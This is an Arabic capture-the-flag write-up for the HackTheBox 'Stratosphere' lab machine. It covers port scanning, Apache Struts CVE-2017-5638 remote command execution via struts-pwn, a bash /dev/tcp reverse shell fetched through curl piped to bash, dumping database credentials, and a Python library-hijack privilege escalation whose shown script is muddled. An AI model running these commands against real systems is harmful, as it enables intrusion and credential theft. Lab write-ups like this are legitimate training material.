> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md).

# تقرير Stratosphere على HackTheBox

{% embed url="<https://app.hackthebox.com/machines/437>" %}

{% hint style="warning" %}
**المهارات:**

* استغلال Apache Struts (CVE-2017-5638)
* اختطاف مكتبة Python (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/bf44e47f100d93c0ad9d6a030012373ec681ccff" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/5c071c9afb532e2dc5d250632b6acc320b22c759" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts
```

<figure><img src="/files/78270c12350ca3128c660823934608dea392cf40" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام ExtractPorts (**&#x32;2.80.808&#x30;**)**

استخدام دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة.

<figure><img src="/files/00ac5e78fe7abe7aef7df612048b3703e086a6d5" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدام Nmap لفحص إصدارات المنافذ واستخراج المعلومات في الملف "targeted"

```bash
nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted
```

<figure><img src="/files/809aec95d40428506566660a5dd49d58818774e9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0b924a714a0473dc52f0ec026f2eff1ceefee5ba" alt=""><figcaption></figcaption></figure>

### /*/استكشاف خدمات الويب (المنافذ 80 و8080) //*

المنافذ 80 و8080 تستضيفان الموقع نفسه.

<figure><img src="/files/e6bd194e43c86bb9bf106d054ba8492ddb6bfb71" alt=""><figcaption></figcaption></figure>

### الاستكشاف الغامض باستخدام **Gobuster**

نطلق `Gobuster` للبحث عن أدلة مثيرة للاهتمام

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

{% endcode %}

نكتشف المسارات التالية:

* `/manager` - واجهة Tomcat Manager
* `/monitoring` - قسم المراقبة

<figure><img src="/files/cfab45ca269b3300527fbe01820b561a83cec26f" alt=""><figcaption></figcaption></figure>

### Manager - Tomcat :

<figure><img src="/files/18bdd19de0cf925f5390f100215e1c9094361d88" alt=""><figcaption></figcaption></figure>

### المراقبة:

<figure><img src="/files/9c5a35e853754f15f72da26adedfeb363f1abd2b" alt=""><figcaption></figcaption></figure>

## استغلال Apache Struts (CVE-2017-5638)

#### **استكشاف دليل المراقبة**

عند محاولة التسجيل، نحصل على رسالة خطأ. كما نلاحظ امتدادًا `.action`، مما قد يشير إلى تطبيق مبني على Apache Struts

<figure><img src="/files/84a7235de358a4d89644bed0349c96c78732c145" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

نستخدم `struts-pwn.py` لاختبار تنفيذ الأوامر عن بُعد:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

الأمر يعمل، مما يؤكد وجود الثغرة.

<figure><img src="/files/9ff3f31d0a31edd0c56fd0ff1251473fcbd86809" alt=""><figcaption></figcaption></figure>

#### **صدفة عكسية**

1. الاستماع باستخدام Netcat:

```bash
nc -nvlp 443
```

2. إنشاء `index.html` الملف الذي يحتوي على الصدفة العكسية الخاصة بنا:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. استضافة الملف باستخدام خادم ويب Python:

```
python3 -m http.server 8080
```

4. تشغيل الصدفة العكسية عبر الاستغلال:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

للأسف، هذا الأسلوب يفشل.

### **استخراج المعلومات الحساسة**

نسرد الملفات على الخادم:

<figure><img src="/files/a89e21e8409b9a924859ede5d9ed174da5af8a1a" alt=""><figcaption></figcaption></figure>

نكتشف ملفًا `db_connect` ملف. ومن خلال عرضه نحصل على بيانات الاعتماد:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="/files/3c93d411f2c2b404b4f0775c8bd6e55230ea4e95" alt=""><figcaption></figcaption></figure>

المعلومات المستخرجة من بيانات اعتماد mysql:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* المستخدم: ssn/\_admin / admin
* كلمة المرور=AWs64\@on/\*& / admin

<figure><img src="/files/8ee7976ff8c91cb4c211f1c1003fb4aa2852ecf0" alt=""><figcaption></figcaption></figure>

### استخراج المعلومات - mysqlshow

#### **تعداد قواعد البيانات**

نستخدم `mysqlshow` لسرد قواعد البيانات المتاحة للمستخدم `admin` من خلال استغلال ثغرة Struts عبر `struts-pwn.py`:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin"
```

{% endcode %}

<figure><img src="/files/68664888d44752b40967e75adfa303a74d80365b" alt=""><figcaption></figcaption></figure>

يتيح لنا هذا تحديد قاعدة البيانات **users**.

#### **ملخص الجداول**

ثم نسرد الجداول من قاعدة البيانات **users**:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users
```

{% endcode %}

<figure><img src="/files/5298739e656a2836b18e2847b9185de2261b72ce" alt=""><figcaption></figcaption></figure>

#### **تعداد الأعمدة واستخراج بيانات الاعتماد**

نقوم الآن بسرد أعمدة الجدول **accounts** ونحاول استخراج محتواه

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts"
```

{% endcode %}

<figure><img src="/files/cafe94586b9a5f5673955ea6df3147a3a916c51a" alt=""><figcaption></figcaption></figure>

نحصل على المعلومات التالية:

* **اسم المستخدم**: `richard`
* **كلمة المرور**: `9tc*rhKuG5TyXvUJOrE^5CK7k`

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users'
```

{% endcode %}

<figure><img src="/files/b967607a385ec52a2ee0fa82b42ef9ae1549b175" alt=""><figcaption></figcaption></figure>

نستخدم المعلومات التي عثرنا عليها للاتصال عبر SSH بالجهاز الهدف:

```bash
ssh richard@10.10.10.64
```

<figure><img src="/files/9315829a316a972af077b89596ec3d33038f87f5" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/65d937da03429946c19024b9924c3ec5843e9f61" alt="" width="563"><figcaption></figcaption></figure>

## تصعيد الامتيازات

### تصعيد الامتيازات عبر اختطاف مكتبة Python

أولًا، شغّل الأمر التالي لسرد `sudo` الصلاحيات:

<figure><img src="/files/5d553e014268c23ecccb232bae25cd443dba15ad" alt=""><figcaption></figcaption></figure>

نلاحظ أن لدينا إذنًا لتشغيل سكربت Python باسم `root`:

```bash
(ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py
```

<figure><img src="/files/19fe32acfce9a4380ca726f11a02ec42175b1869" alt=""><figcaption></figcaption></figure>

من خلال تحليل `/home/richard/test.py` السكربت، يُلاحظ أنه يستورد وحدة دون تحديد مسارها المطلق، على سبيل المثال:

```
import os
os.system("bash")
```

ثم نشغّل السكربت باستخدام `root`:

```bash
sudo /usr/bin/python3.7 /home/richard/test.py
```

* بمجرد تشغيل السكربت، يتم تحميل النسخة الخبيثة الخاصة بنا من `hashlib.py` يتم تحميلها، وتُشغِّل صدفةً مع `root` الصلاحيات.

<figure><img src="/files/8ff426a59a3fb3634dd1a90d60d0805e416a6420" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/92d82c90010268462e7ada18c94c69fa8bcf5e1d" alt="" width="546"><figcaption></figcaption></figure>

<figure><img src="/files/6a3c48074a81987a6e835f2899ae054b6ed7b96a" alt="" width="375"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
